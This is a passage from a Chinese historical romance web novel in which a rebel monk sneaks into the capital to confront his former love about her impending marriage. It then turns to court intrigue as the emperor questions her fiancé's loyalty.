有应家常年供奉的大笔香油钱在列，但凡与本家沾亲带故者，皆是香山寺供奉的座上客。因此宗契顺理成章地被带去后院，禅房里等不过一会，便如愿见着了住持。 禅房静谧，住持茹素修行有道，佛字随心应口，微施一礼，“法师有何见教？” “见教不敢，小僧鲁莽，敢问一句，城中有一座大相国寺，前些年上座慧行禅祖圆寂，他莲台下有位弟子僧宗海，您可识得？”宗契问。 住持惊诧，忙又打佛礼再三，一迭声道：“那是洛京最有修行的一位禅师，我等何敢不识？” 他谦卑恭顺的模样迥异方才出尘古佛之态，落在宗契眼中，神色岿然不动，眸底却划过了一丝哂笑。 “我与他有些交情，此回来便是为他。只是他庙大佛大，未必肯下得莲台，屈尊来见。因此还望住持禀重操持，成全我弟子一愿。”他道。 住持为难：“这……大相国寺是官家仙眷也常去得的庄重之所，宗海禅师更是机务甚繁……” 他住了嘴，只因瞧见了宗契晃在掌中的一锭金。 “住持为弟子周全，弟子感念，此金不足谢，权为替宝寺添灯补油。”宗契微笑。 “俱是佛前弟子，法师何说外话？”住持不动声色，将那一锭金从宗契手中拿下，轻轻安放在了案前，眼中不见俗，眼角却常瞥见，叹一口气，下了什么决心似的，“也罢，老僧便支朽骨帮衬一二，只是禅师肯不肯来，却又要看机缘了。” 宗契点头，十分诚恳，“他但得亲至，弟子此愿便足矣，当再有澄黄一锭奉上。” 住持果然老成持重，只略略点头，还请宗契别居一室，从容等待了。 这一日已过半，香山寺住持当下亲笔修书，竟不遣人去送，自乘一辆牛车，将邀贴送去了大相国寺。 半日后城中回信，道是宗海禅师二日后来谒。收到准信，香山寺当下里外浣扫一新，又添足了各处的香油，将佛祖金身擦拭得油光锃亮，直是二十里外将将要绽放出大智大慧的光芒来，又有香花锦幢、宝幡华经，足闹哄哄了两日。 两日后，僧宗海如期而至。 前有宗契说得明白，住持但以自个儿的由头来请，与宗海叙了一番俗务，又谈了一番佛理，摆布了偌大的一桌素筵素酒，劝着宗海多喝了两杯。 僧宗海心满意足，席上依循旧例，收了此次香山寺的孝敬，又离了一回席，去放空那尿泡；半晌悠闲闲抖衣而回，却只在东厕后园的路上，被一个高大身影半道截住。四下里无人，便是好说话处。 宗海吃了一唬，正要恼怒问个鲁莽罪责，忽定睛看此人，只觉眼熟，心里突突地跳，也不知为何。 那僧人高挺挺、岿巍巍，如山岳横亘，偏生浓眉俊骨，生就一副惹人过眼不忘的模样，只是眼眉间无由带了几分煞气，使人打心眼里发怵。他黑沉沉的眸子紧盯宗海，斯条慢理微微一笑，“师兄，久别不见，一向可好？” 宗海想骂不敢骂，颤颤手指点着他，猛地一咽口水，想起什么，脸色变了，“你、你……你是……” “约略四年前，我奉师命下山，来至大相国寺，为慧行禅祖贺高寿诞辰。不想恰闻禅祖圆寂，是师兄你手拿把抓，笑纳了我多少吊丧之礼，却又忘了俗务，分银不支，使我险些难回本寺。”宗契淡淡说来，一字一句如清风过耳，却锤击凿刺一般劈着宗海心虚的胆气，“师兄抖什么？我不过怕你忘了旧事，提上一提罢了。你我有些旧隙，我却也不为来寻仇，只为上回病了一场，未曾好好儿见识洛京里繁华；这一回烦请师兄为我开路，我好入城，赏见赏见。” 宗海闻言便道：“好师弟，你赏玩洛京，自去便是，何必……” 他话至一半，那脸色何止变化，陡然难看起来，又想到了什么，胆寒畏怯道：“我晓得了！宗、宗、宗契！你是那贼匪——” 猛地腰间一利刃抵触，他硬生生闭了嘴，白胖的脸如死灰，欲哭无泪。 “师兄许不见我能耐，那城墙张告上写着呢，一人十人百人，我杀便杀了，不多你这一条命。”宗契袖中匕首寒芒冷露，近身逼着宗海，两人至交一般，交谈着往回走，“师兄但只莫张扬，带我入了城，我自放了你——此番入城，我也不为杀人放火，绝不牵累 师兄，如何？“ 宗海还能如何，利刃抵在腰间，只得唯唯应诺。 此后宗契便半步不离。后半场筵席，宗海两股战战，哪里吃喝得下，不多久便告辞离去。 香山寺住持领着僧众恭敬相别，各自敬佩羡望着宗契跟随而去，久久才折回山寺，又教导弟子如何看贵人眼色行事，不在话下。 却说宗海，去时车马仆役，归时仍旧，只车中又多了一人，在他看来，直如凶神恶煞，面露凶光。车外众仆役有来询问者，皆被他囫囵打发闭嘴，车中又百般悄声求告：“旧年亏心待你，是我千般不是，还望师弟看在咱们一祖同根的份上，高高手绕过我这一遭，我将那些钱财百倍还来！” 宗契坐于他对面，以他身量，车中逼仄了些，双腿微微叉开，沉默时如倾山倒海般气势凛人。他不说话，似乎回想什么，眼只出神落在宗海身遭，望得宗海恐惧更甚。 只在对面吓得将要腿膝一软跪倒在地，他却开口，言语里竟多了些平和，“我不怪你，倒有几分谢你。” 宗海摸不着头脑，更不敢相问，只得任着他继续沉默出神去了。 宗契如翻一本古旧泛黄的书，回忆起旧年往事，历历在目。他并未说谎，想到那时，竟确有些感谢宗海。 若不是宗海讹诈去了他大把的银钱，他又遭时运不济，病在客栈，费去了所剩的川资，哪至于窘迫到被指点上街头耍把式求钱。 若不是那般窘迫，动了她恻隐之心，缘起一面，哪有后来与她恩情种种？ 这样想来，因果天定，舛吉相随，竟不是人能预料。 他想到此，原本坚如磐石的心意，却无端软了一些。原本心底藏得深了的点滴委屈懊恨的意思，随而渐渐消散了，唯剩了些迷惘叹息。 早也晓得她年纪小，心性不定，见花是好、见叶也是好；她又生来惯于做天上云里的人，分别了一年，如今不过是归了窝巢罢了，日日相对那风华高貌的郎君，复又心动，再平常不过。 她与元羲本就是金玉捏成的一双人，才貌堪配。他又是什么样人？ 宗契微微一动，在辚辚震动的车驾中再次回神，已是天光半暗，车中更隔绝了日色，尤为昏暗。他借着半明苍黄的日落颜色，低头瞧见自己一身：昼夜驰来，原本挑的一件瓦灰直裰已沾了点点的尘渍，扑也扑不下，好似长在身的污迹；腿绷也不清白，只是缠得紧，走脚的贩夫一般，只教人更觉着行路窘迫。 他原就是黄泥路上行路的人，是凡尘泥淖里打滚的一个和尚，偶一沾得明珠无瑕罢了，哪里又来的妄念，竟一时误认作那是掌心里的爱娇。 宗海在对面勉强坐得板正，不敢发出一声，时时用眯缝的余光偷眼瞥着这煞神，但见他才脸色和缓一些，却又渐渐冷硬起来，暗沉下去；唇角更抿得紧了，眉峰皱起千条凶煞的恶念，仿佛不耐烦与他一车似的。由是更加噤声，生怕泄露一言半语，就这样一路无话，小心缄默地供奉着到了城门。 以往洛京不行宵禁，如今却也复归旧例，怕的是那逼京的贼匪混入城中，外来车马尤其要仔细搜检。宗海入城门，吓掉了脑袋也不敢放任官兵搜检，于是递出文牒，半掀帘诵佛号，道：“贫僧携仆役弟子十数人，自香山寺论经而返，望乞通行。” 大相国寺的名头响亮，虽不是权势，更甚权势。官兵不敢当真检搜，只依稀望见里头又坐一名光头的僧人，躬躬身，归还了文牒，便教放行了。 宗契便周旋反复，终混入了洛京外城，却仍有一道内城要；便依旧用此法，只是先教宗海遣散了车马仆役先归相国寺，又令他与自己同行，二人一路穿街过巷，步入内城门之中。 到此时，已天色将晚，四面街桥尽是行人散归，挑担引车，更有趁时叫唱买卖的，又一番烟火市井的景象。宗契全然不顾，只照着曾记的路线，七拐八弯，到了应府那一座气派严整的门宇不远，却不去正门，反拐进了一条暗巷。 宗海于暗巷之中，一路来行得气喘吁吁，讨好点头道：“师弟，到了、到了不曾？” “到了。”深沉之中瞧不见宗契神情，只望见他愈发崔巍的身形，遮挡住最后一丝月白的天光，“只是委屈你在此睡睡。” “什……” 白胖虚汗的宗海问字尚未出口，后脖颈一疼，猛地眩晕，倚着墙便软倒了下去。 宗契拎着他湿汗的后脖领子，将人靠在一边，自个儿扑了扑身上尘土，戴上身背的箬笠，将头脸遮严实了，趁着幽昏月上，缓缓从暗巷里走出。 那院墙高深，也不知她在哪一院，也不知她安寝了未。家中奴仆总得避过，否则她沾了嫌疑在身，有嘴也说不清。 满心想着，步子便匆促不得，宗契按捺着焦躁的性子，望定那一连琉璃碧瓦的高墙，顺着人家檐下往处走；愈近，脑子里杂念愈多，一时想着她胖瘦了、长高了，一时想着她当真要结亲，如今是否已一心要为他人妇，而怕见自己？ 说不了，一步步挨向前。 却忽然又听诸般买卖之中，有小贩吆喝叫卖酸酸辣辣的梅子姜，霎时诸般杂念猛地又止，化作一个想头：她爱吃姜。 鬼使神差，又莫名地叫住了巷口担担而过的小贩。 小贩殷勤笑问：“客人爱酸一些好、或辣一些好？” 宗契叫住了人，心中后悔，口却不应心，“……辣的。” 只待对方一纸包了瑰色晶莹的梅子姜来，钱货各讫了，他捧着那包儿，又有些不知所措，半晌索性揣了袖中，闷头去了。 他于望墙的老树下，隐蔽处又立到了月明高上，闻得各处人静声息了，又避过巡街的铺兵，这才使抓索攀过应府墙头，轻敏无声，脚步更迅捷利落得像只斑豹；落地望一圈院落格局，想她卧房在后院，便摸索着穿过几处小园，入掩门、攀墙垣，一面暗处行走，一面心内自嘲行这般宵小手段，便愈发又自弃起来。 正没头没脑地乱想，忽猛地止步，见了一座面南的小院，月下花木葳蕤，雕栏玉砌。一丛小径掩映在兰蕙的香草中，尽头没入一间朱红小楼，说不尽的清幽雅致。 他呆了一呆，心头如有弦蓦被紧扣，一个念头无声浮起，没来由地笃定：这是她所住。 应怜闲时，也曾与他谈起自己曾住的小院，那时她颇为自得，“我虽不能舍中三径，却有一条遍植兰蕙的小径，仿那披香殿名，叫做‘披香小径’。道旁花草尽是我亲手养护，株株风致，可惜你没瞧见！” 这不知是否为她旧时的那一条披香小径，他许是瞧见了。 ——同时也瞧见了披挂各处廊枋间的彩幔花球，突兀的喜气，贺什么天大的喜事一般。 宗契步履无声息，阴云一般掠过遍地香草的芳径，直到纹彩焕美的连廊下，丝毫未惊动两面耳房里已歇下的女使仆妇。 他未逗留，衣上仍有墙头的灰土，襟缘掠过廊柱旁深瓮中依偎的三株初绽的莲花，从虚掩的门中无声而入。 月满中庭，夏夜静谧，唯促织之声暂歇，半晌复起，遮掩重逢的情事。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 130-140 第131章 第131章帘内春绽，误作镜中看…… 这一夜平常，没甚值得琢磨的事。应怜同新近寻回来的一个女使雁回说了些闲话，熄灯便去睡了。女使几个睡在楼下，她独自个在小楼珠绸凉簟上，睡到了半宿。 依稀是中天月满，隔着窗纱也瞒不过的清明如水，隐约只觉有人到了床头，黑影笼罩，逼仄得迫人。那气息似熟非熟，教她蓦地心悸，猛一睁眼。 果真是有人。应怜半醒之时，又吃惊、又恐惧，叫了半声出口，却被一只手情急之下捂住了唇，不教再出一点声。 “惜奴，是我。”他离得近，声音压在喉间，霹雷一般惊入她耳中。 应怜浑身真如被雷电窜过，只是不可置信，早已惊飞了睡意，张了张嘴，唇下却触到了他宽大手掌心里的硬茧。 月夜朦胧，无灯无火，她望不清那笼罩的幽黑，唯能借着月光勾勒他脸容肩膊的轮廓。常时压抑在心中无人可诉的思念陡然如洪，滔滔自轰倒的闸中倾泻，排挤了一切杂念。 应怜攀上他捂来的手腕，瞪大着眸子，又疑心自己是在梦里，“唔唔”两声，摇摇头，将他手掌攀了下来，绞握在自己手指缝间。 “宗契？”她真如在梦中，声如游魂，连自个儿也吓了一跳。 宗契又应了一声，“是我。” 应怜笑了一声，近乎于喘息，贪婪地尽力想要瞧清他眉眼鼻唇，想即便是梦，也足够甘美了，这样清醒的梦，上天入地再也难寻。 她顾不得轻薄衾裯半遮半掩，支起身来，又将他脖颈勾下来，有些疑惑，却心满意足，“你来了么？” 片刻，却颤了一颤，挣扎着推开他，跌跌撞撞摸到灯架，去点了灯，好几次火折颤得擦过了灯芯。灯火反复几回，终于半亮起来，驱散了窗外的月光。 她回头，嫣红的唇发颤，泪珠便滚了下来。 宗契半撑在床，仍是方才被她勾下半拥的姿势，年余未见的熟稔眉眼，如峰如岳；眼眸深墨，跃动着澄亮的光火，将她纳在眼中，落在心底。他似乎也在发怔，注视打量 着她。 此时方知彻底不是梦。她再也忍不住，几步扑倒在他身上，力势之大，竟将他半抵在了床上。 宗契牢牢接着她，一把将她按在怀中，将她鬓边一缕乱发抚平，下意识便亲了亲那股令人沉醉的女儿香。 多少回魂梦空虚，终被这一瞬填满。哪还有半分怨言，这已是老天予他最好的赏赐。 只是应怜既出了梦，却想起话来，细细的声音在怀，“你怎么来了？” 这一问，不仅惊醒了宗契，也惊醒了她自己。 方才还如饮了醇酒甘美，转而心思如油煎，七分神智回炉。又有些冷气窜上心头，应怜灯火下窥见他神色，却恰撞上他一双欲言又止的眼，先气软了几分，没由来地心虚。 她推推他，抿抿嘴，“你、你一路来很难吧？” 宗契这才如惊梦之人，勉强平复了激荡，“不难。你……” 他在她温软湿润的眼眸下反倒先不自在起来，微微错开眼，本欲张口，却先瞧见了随意挂在一张案架上的深青鞠衣。近旁摆着一副头冠，上镶红翡绿玉，错金银勾出繁复楼台亭阁，当中神仙人物栩栩如生，缀珠联宝，烛火下熠熠生辉，光彩眩人眼目，一瞧便不是平日里所戴，非隆重庄严时分绝不可用。 宗契猛地被那光耀刺伤了眼，一颗心便沉到了底，重逢的狂喜遽然下跌，再看她春霞朝露般的粉凝玉面，只觉荒谬。 “我来，是问你一句话。”他口舌仿佛也僵，说出的话不由心地冷硬，浑然忘了两人还拉扯在床上，她只着了一件松散的小衣，“都传你……要成亲，可是真的？” 这一句问，应怜早有所备，当真说来，却仍觉扎口，于是不敢瞧他双目，低头只盯着他滚动喉结的脖颈。 “是真。”她道。 那喉头再三地动了动，究竟没说出话来。慢慢地，她听见了昏黄烛火之中，他喘息渐浓，含着焦躁愤怒。 “是元羲？”沉默良久，他再问。 应怜抬头，目中已现哀求，几次冲动欲说出口，只是理智拦着心头横冲直撞的那只小兽。那声音如此冷静：你与元羲是如何赌誓的？ 出他之口，入她之耳，这是千万条人命的事，不是凭她一己私情，便能随告于人。 “为何？”是宗契不甘的声音。 他不止不甘，更嫉妒、委屈、憎恨，心中积聚着从未有过的暴躁，却无处发泄，在她面前，一举一动都狼狈。 直到应怜吃疼地轻叫一声，宗契猛如被锤击，撤回手，清楚瞧见了她腕上被自己钳出的清晰红痕。 应怜低声，几不可闻，“不为何，我与他本就有婚约。” 宗契从头冷到了脚，如千尺薄冰一朝脚底融，感到失重的眩晕，“那我呢？” 他问完便后悔，面上火辣辣地烫，为自己难堪可笑。 应怜回答不上来，迟疑片刻，忽觉失了依靠，身子一凉，却是他推了自己，沉默僵硬地起身，再不等什么答言，便要走。 她一急，将早已在脑中过了千遍的话没头没脑地丢出来，与此同时，手忙脚乱扯住了他，菟丝子一般缠在他身腰上。 “你别走！”应怜低声叫，“十日后是亲迎礼，我要你来喝一杯喜酒！” 宗契陡然僵住，极不可置信，一时连言语也忘了，震惊太过，几乎冷笑出声。 “你……” 才挤出一个字，外头忽传来一阵仓促的登楼脚步声。随即有人紧张相问，正是雁回：“娘子，出何事了？” 应怜正攀扯着宗契，闻声脑中弦一紧绷，四下慌乱地望望，小楼之上也没甚可躲藏的地方，门仅虚掩，前后脚雁回便进得来。慌促之下，她顾不得分说，一把拽住他下按，扯过衾裯缎子，纠缠着盖在彼此身上。 门开了。 雁回秉灯烛逡巡四望，方才听得动静，这会连鞋也顾不得穿好，趿拉着瞧向薄薄的一层天青帐幔之中，里头人影曲线起伏，瞧不真切。 “娘子夜惊了么？”她担忧道，便要近前，“怎么点了烛盏？不如我陪你睡吧。” 应怜吓得血都凝结了，牢牢按宗契在身下，嗓子眼发紧，“别来！” 雁回顿了顿，“……娘子？” 便是去岁一路送她来京，有几回逾越，宗契也从未经过这样场面。 应怜暖玉温香的身躯压他在凉簟之上，炙出火一样的热意，春山连绵，酥雪绵软，好巧不巧正在头脸之上。她紧张得过了，还一个劲地将他向里按，险些教宗契埋得吃不过气来，再有多少恼怒，这刹时也顾不上了。 察觉她身子紧绷得不像话，宗契无法，只得一只手轻抚了抚她，正是软款玉骨的腰肢，手掌下便是一抖。 应怜倒回了几分神，舔舔唇，强压着慌乱，努力镇静地答话：“我衣衫不整，平白教你见笑。做了个噩梦而已，你去吧，不妨事的。” 她道衣衫不整，却提醒了按在身下不得动弹的宗契，血冲颅顶，热意涨得眩晕，又不得出声，反倒邪乎地生起了一点邪乎的欲。念。 欲。念一旦滋生，就如野火，星星点点燎在枯草荒柴之间，猛地窜上四肢百骸。 那头听见雁回松一口气、又有些含笑的埋怨，“这一番别离，娘子反倒见外了，我难道不是自小侍奉你惯了的……” 又嘀咕了几句，终于闻听嗝哒一声关门轻响，脚步声下离楼去。 那关门声彷如魔咒，一把将应怜松懈下来，头脑发晕，手脚软绵绵的，懒怠似的难撑起，唯觉宗契掌心茧硬，粗粝地摩扯下更牵动心痒难耐。 宗契艰难别开一点头，在她脖颈间 吐气，“我走……” 走？ 走什么走。 应怜脑子里发涨晕眩，也是情急、也似迷梦，鼻尖向下摩挲，从他轮廓分明的眉骨眼窝，到他的鼻尖，亲昵地蹭了蹭，又挨到那张微微丰厚的唇，带些讨好补偿之意，又要教他忘掉什么走不走的事，啄着着便吻了下去。 轰然仿佛野火燎原，唇齿下宗契急促地喘息一声，夏夜之中被她点燃，将愤恨嫉妒怨怼一股脑炼化成愈燃愈旺的火，带着几分莽撞，回应反击了上去。 什么成亲，什么了断，什么人伦。 滔天的烈火将理智烧断了线，宗契拥着她再美好不过的身躯，翻身将她覆在凉簟之上，一面焦躁地吻，一面感受失而复得的狂喜。应怜以战栗与温柔回吻，与他紧贴，便愈发清晰地听见他几欲破开胸腔的狂乱心跳。 迷情纵放，又有她几分纵容的心思，宗契便陷在海一般无边无际的欲潮之中，吻着她甘甜饱满的唇，吻着她密密颤抖的指尖，吻着散发馨香、流淌血液的颈项，舔去她夏夜情起时湿热的一层细汗。 纠缠之间，他直裰的衣襟被扯乱，腰带也松散，便不像平日里那个沉稳磊落的僧人，睁眸时欲念惊人，直烫进应怜心底。 她巍巍颤颤地抬手，与他相牵，心跳急促，伸手去抚摸他遒劲肌肉勃发的手臂，却不慎碰落了个物件。 那东西滚落身侧，宗契一滞，抚着她粗喘，迟钝回了一两分理智。应怜软在他怀中如一汪春水，拈着那纸包儿，嗓音也如水绵软，“这是什么？” 宗契将它搁在床头，指腹摩挲她的微红的眉眼，像爱抚一片颤巍巍绽放的花瓣，心中早已消散了怨怼，但觉她惹人怜爱得紧，禁不住又亲了亲那尚残存泪意的眼角。 “梅子姜。”他声音喑哑，并未餍足，却如已被她上了笼头的兽。 他有些鲁莽，她却只是含着温软爱意的笑，包容着他。 “你不嫁他了，是么？”宗契说不出的欢喜，唇齿厮磨间，与她耳语，“是我不好，久不曾来见你。若不然，我带你走，如何？” 应怜的笑意一僵，知他误会，十分尴尬，只得硬着头皮解释：“那还是……要、要嫁的。” 几个字才出口，气氛便翻天覆地转变。 宗契支起身子，咬牙上下瞧她，已是在怀中予取予求，到这会眼巴巴地却望将过来。他只觉受了戏弄，“若不要我，你这是做甚！” 他猛地抽身撤离，脸上一阵青一阵红，不知是怒火还是堵在心中消散不去的欲。火。应怜拦他不住，连手攥的腰带一截也被他夺回去，僵了半晌，又回头高处盯着她，甚而有隐隐的哀求，“你果真……你再说一遍，同不同我走？” 应怜小衣半褪，长发披散，与澄黄的光火一道笼着春色朦胧的身躯，衾裯早已委落在腰腹之间，眼眸是软的，说出的话却硬。 “我不能走，我要嫁人。” 宗契心中更不知从何而来的疼，好似心肝被一扯为二，连怒意也消磨得七七八八，木着脸，点头，连道了几声“好”。 他转身飞快结了腰带，勉强拉拢齐整，脸色已冷落下去，情知此时万般不堪，尽落入她眼，紧咬牙关，不泄分毫，却唯觉那目光教人狼狈，便左右避而不见。 “宗契……”应怜伸手去半空，仿佛想拉他。 他避退半步，烛火便倾泻进黑影里来，衬得他俊朗的面容半明半暗，灯火之中，打断她开口：“你自能作主选夫，也并未应诺过我什么。我不怪你，只是从今断绝，各不相见。” 说罢又想到什么，紧攥的拳头松开，从衣襟深处取出一物，灼灼流光在银丝的翅骨，是一只青纱闹蛾。 他不望她泫然欲泣的面容与颤抖的唇，转将当日临别所赠的表纪扔在她身畔，本欲从门而出，又想到已惊动女使，若被发现，与她名声有损；却又在此干立，片刻也是难熬，索性一掀窗，下望那小楼并不太高，纵身跃下，半空之中朱红墙上足点了点，落地屈身一滚，猫儿似的无声息。却将应怜吓得不轻，忙扑到窗畔去看，见他分毫无伤，才松了一口气。 应怜擦擦眼泪，勾着身子向下探，见他直起身要走，脑子里乱糟糟地发热，生怕他忘了，压低了声音紧叮嘱：“一定要来喝杯喜酒！” 话声不大，却气得宗契心头急火乱窜，到底忍不住，恨恨回头，仰望小楼上透露的昏黄烛光，与她倾泻下浓墨青丝的玉色脸容，差点没挫碎了后槽牙，只想问一句“你有没有心”，到底说不出口，狠狠剜了她一眼，转身含怒而去。 应怜瘪了瘪嘴，向来还未被他甩过脸色，落了窗，披衣坐回床上，先拾起那枚闹蛾，抚摸凝视了半晌，不似方才心中难受，却也闷得慌，摸了摸被他亲过的唇，只觉得发苦。 她叹了口气，枯坐一会，方想起来，摸到床头那纸包儿，早已没了他袖内贴身的热气。打开纸裹儿，拈来一颗甘酸辛辣的梅子，含在嘴里，顺着咽喉便淌下了一股说不出甜辣滋味，直渗满了心头。 是酸，是甜，是辣，却终究驱散了苦。她细细嚼着梅子姜，嚼了许久。 也罢，这回是委屈他了些。下回见了，少不得得多哄哄。 闹了一宿，清晨起得便晚些。 雁回等人楼下仔细听得动静，方进来捧瓯持盆侍奉盥洗，又妆镜前为她一点一点梳妆。 应怜还有些困，半睁半阖着眼眸，想自家心事。忽听雁回“咦”了一声，点指脖颈，“娘子这处怎么红了？” 她一怔，震飞了困顿，望进镜里，不动声色，脸却有些薄红。 那项上可不是红了，二三片红痕，也不知是挠是咬出来的。 “昨夜总觉着有响动，怪道娘子睡不好，我也睡得浅呢！”雁回又道。 另一个女使嘴快，“许是闹猫儿吧。” 应怜正支吾，闻言顺嘴便答应，“是猫儿，闹了半宿。” 雁回皱眉，“闹猫？总不至闹到娘子房里去，这红莎……” 应怜没脸听她继续讲下去，红着脸赶她取一件薄罗褙子去了。 那样大的一只猫儿呢，来也蹑足、去也潜踪，偷入人闺房里，又别别扭扭负气走了，还好道是只正经大猫。 心中念想着，应怜又悄悄搓了搓那印儿。红莎消不去，她嘴角的弧度却止不住扬了起。 第132章 第132章万川映月，月逐一人还…… 流言如火舌，一旦势起，便要一路东烧西窜，不得停歇。 洛京城里，从不缺这样那样的流言，尤其是正值人心惶惶的战时。如今街市坊巷最甚嚣尘上的流言，要数剿匪的主帅刘升叛降之事。无数则面貌不一的谣言遍传，有的说刘升因折损兵力太过、惧怕被责罚而反叛；有的说刘升已被重金贿赂收买，倒向了贼匪一边；更有甚者，凿凿言道，那刘升本就是叛党一伙，受了贼首的指派，来朝廷做个伪官。 元羲收到这些流言，自然不负那头的托望，着人收集整理，齐数上言向了天子。 当今天子急躁易怒，本当是预料中的雷霆震怒。却不想郭禧今日稳坐御书案后，没急着发作，先打量了一番元羲。 天子藏不住心事。他的目光中有犹豫、疑虑、冷酷，通通遮盖了隐隐的怒势。元羲等待圣谕之时，不动声色，心中却猛然一跳。 天子问：“这些流言，是坊间听得？” “是。”他垂首答。 天子点头，“不忙。我来问你，你与应氏女之间，可有未曾告明朕之事？” 元羲微微抬头，隽秀的眉宇现了一丝縠皱，也是十分悦目，“只除了年幼时琐事……” “朕不问你这个！”郭禧扬手，打断他话，不满地盯着他，“你再好好想想，那应氏女曾陷在江宁一二年，可与什么人过从甚密？” 那四字一出口，说者有心，听者不啻于惊雷。元羲后背如冷芒一刺，仍是冷静，只多了几分困惑；渐渐地，那困惑泯然，转为了沉默的耻辱。 神色数遍，悉皆在郭禧眼中。 半晌，元羲双膝跪下，深深俯伏在地，“臣有罪，因此事不好启齿，损人名节，臣……臣向陛下隐瞒过了，万乞陛下宽慈饶恕！” 郭禧冷眼俯视他。 “这一二年间事，应氏曾与臣提及过，在江宁时，她为……一贼僧所惑，有些走动，却绝无首尾！”元羲急急诉说此事，顾不得额上起了密密的冷汗，在郭禧的注目下追言：“她与臣自幼相识，一言一行在臣看来，皆如澄水游鱼，没丝毫可瞒得过的。自回洛京，应氏幡然悔改，已与那僧人断了往来，其门下奴仆皆可证印臣言。若陛下不信，尽可将干系人缚有司推勘！” 郭禧面色和缓些，眼底却依旧存着冷意，不过从御书案后转出，玄丝方舄驻于跪倒尘埃的元羲前一寸；但只轻轻一抬脚，便可轻松碾上他颀秀的脖颈。 那只方舄毕竟未碾上去。且方舄的主人果然以宽慈的姿态，亲自弯腰，虚虚将元羲扶起。 元羲对上了天子那双含着笑意、笑意却未达眼底的眼。郭禧似乎很满意，宽慰道：“你是朕的股肱之臣，忠贤公允，哪是旁人一两句便能离间得的！应氏蛾眉联娟，与你乃是天成的璧偶，朕还等着喝你一杯喜酒呢！” 元羲一身冷意未除，心弦仍是紧绷，面上却松懈下来，勉强笑了笑，“官家是臣一家之主，杀赏奖惩，皆是天赐。臣无长物，唯此心昭昭，愿以死报效。” 他面有难言的隐忍，郭禧见之听之，怕他一个想不开当真做些什么傻事，有些讪讪，追了一句：“朕便问问，墨池不要胡想。” 元羲长舒了一口气，重整面容，仿佛卸去了一些负担，振奋精神，向郭禧深深下拜了拜。 “官家能有此言慰臣，臣再不敢委屈。七日后乃臣人生喜庆之日，盼官家圣躬屈降，则臣蓬荜尽扫、门庭生辉矣！”他道。 “朕无事便去、无事便去。”郭禧道。 君臣相别。郭禧脸面无光，回后宫便召皇后卞氏答话。 卞氏虽貌美，却已不大受恩宠，闻召意外之喜，忙忙地重梳了发鬓、戴整了花冠，将面庞又妆粉了一遍，收拾得柔媚端庄，才来见天子。 不想才跨入门槛，便被郭禧劈头盖脸一顿训斥，“你吹得好歪风！道什么那应氏勾结贼匪！墨池是朕得用的心腹，事无巨靡皆合朕的心意，若为此事教他离心，可是你那奸懒无术的兄长能赔得了的！” 卞氏闻言，畏葸 在侧，一言不敢发，只待郭禧将火气一股脑倾泻了，才壮着胆子，委委屈屈地跪下，自陈道：“官家乃我妇人的夫主，您有几分好，妾便有几分好。妾与您荣辱乃是一体，自然盼望官家千秋圣明，莫教小人蒙骗了去。今此一说，宁肯教官家多骂几句，也防得万一那应氏果真是个不贤的，带坏了元翰林，可不损了官家的威严？” 郭禧发泄过了，又被她哄得气消，逐渐才回心转意，不再追究她胡乱谗言之过，但只生了疑心，便难以放下，索性挥挥手，“你去吧。” 卞氏十分委屈，心中又不甘，将自家兄长与那胡乱出主意的朱女官暗骂了个狗血浇头，期期艾艾唤了一声，“官家，今夜玉华亭外白昙将绽，妾整治一席酒宴，陛下可来赏玩，如何？” 郭禧心中正烦着，想也不想便拒了，“你自赏玩吧，朕还有国事操心，哪得那许多闲工夫！” 卞氏黯然退去。 郭禧思想着前事，总是不放心，虑之再三，叫来了宦官中的心腹，耳语吩咐：“你去寻些信得过的人，四面到那贼营里打探一番，见有议论元应两家婚事的，悉来报朕——尤其当中一名贼将，是个高大魁梧的僧人，切要打听得他言行如何，观他神色是否不正。可晓得了？” 中贵连连点头，当下点了入内内侍省几名伶俐机敏的黄门，赐予宫外行走的佥押腰牌，教去勾栏瓦子里踅摸些流氓闲汉、三教九流，三三两两去二百来里外的叛军军营中打听去了。 天日昭昭，寸心暝暝。 下朝的车马渐渐于内外城中四散，车毂平缓，车中蒙蒙如黄昏。元羲端然稳坐车内，闭目冥神，后背那一层冷而黏腻的细汗却总也褪不下去。 外头自家车夫问道：“官人，家去还是应府去？” “家去。”一会儿，他平稳声调，回答。 车夫一拍脑门，“嗐，瞧我，问个什么！再几日便要亲迎了，夫妇总不好先见面，自然是家去！” 说着，吆喝一声，鞭牛赶车，辚辚地沿着御街驶去了。 元羲车中闭目静坐，无人瞧见，连自个儿也未察觉，手已成拳，身侧捏得铁紧。他睁开眼，见仿佛杳杳黄昏；闭上眼，则不见天日。 郭禧的声音犹如恶鬼魔咒，一遍遍在脑海中带着难以言喻的恶意，幽幽发问：“你与应氏女之间，可有未曾告明朕之事？” 他猛地睁开眼。 后背又起了一层冷汗，他顾不得，心内急剧盘算，在接近郭禧的五花八门的人选中，一个一个在脑海中过滤。 究竟是谁，向郭禧告发此事？ 他朝中树敌颇多，总的想来，处处都如筛网。他置于筛孔之后，一道道似箭寒光，都能将他照得现形无疑。 告密之人为谁，此时想来却并不重要，重要的是——她可曾泄露？ 寂寞之下告与贴身的女使、书信中泄露一二……甚至，有宁德军中人，偷入洛京，与她联络，晓得了底细？ 多少双眼睛盯着，元羲不能也无法再登应府的门，问她此事。他在她身上得不出个答案，思索得额头隐隐发痛，一遍一遍地揉，却又一遍一遍地想。 性命攸关、成败攸关。 不。他心中猛地一悸。 “我该信她。”他双拳放松，随着车身微微摇摆，喃喃自语，“我该信她，我信她、我信她、我信她……” 后宫禁苑，蕙兰台。 宫人自外而回，关起门来，悄悄在范碧云耳边诉说了几句。 黄昏将至，范碧云才自午睡起，妆镜边慵懒地梳整，闻得耳语，好一阵后怕，转又喜笑颜开，撇了撇嘴，“教那虔婆嚼舌根子！诬人不成反遭报了吧！那朱女官怎么说？” “还能怎么说？”宫人掩嘴笑道，“磕头告罪呗！她拿半道上所见闻说事，只是毕竟事已隔了一年，我想那应氏也不是傻的，怎肯放着大好的高官诰命不做，偏去就一个反叛的破戒僧！” 二人又嘀咕了几句。范碧云一时喜、一时忧，又心有戚戚，“这后宫之中，果真一着不慎，便要为人所害。我不过受些宠爱，皇后便想出这样恶毒的法子，拉我下水！好是这一回应氏女不曾有错，若真与叛匪有什么瓜葛，我这保媒的月老平白无辜被牵累！” 宫人又道：“听说……发了好大脾气，有只言片语的泄露，扔了国舅爷送来的一匣子北珠，还气得怒骂：‘教那姓黄的有多远滚多远’……” 范碧云若有所思，半晌微微笑着点头，“是他。” 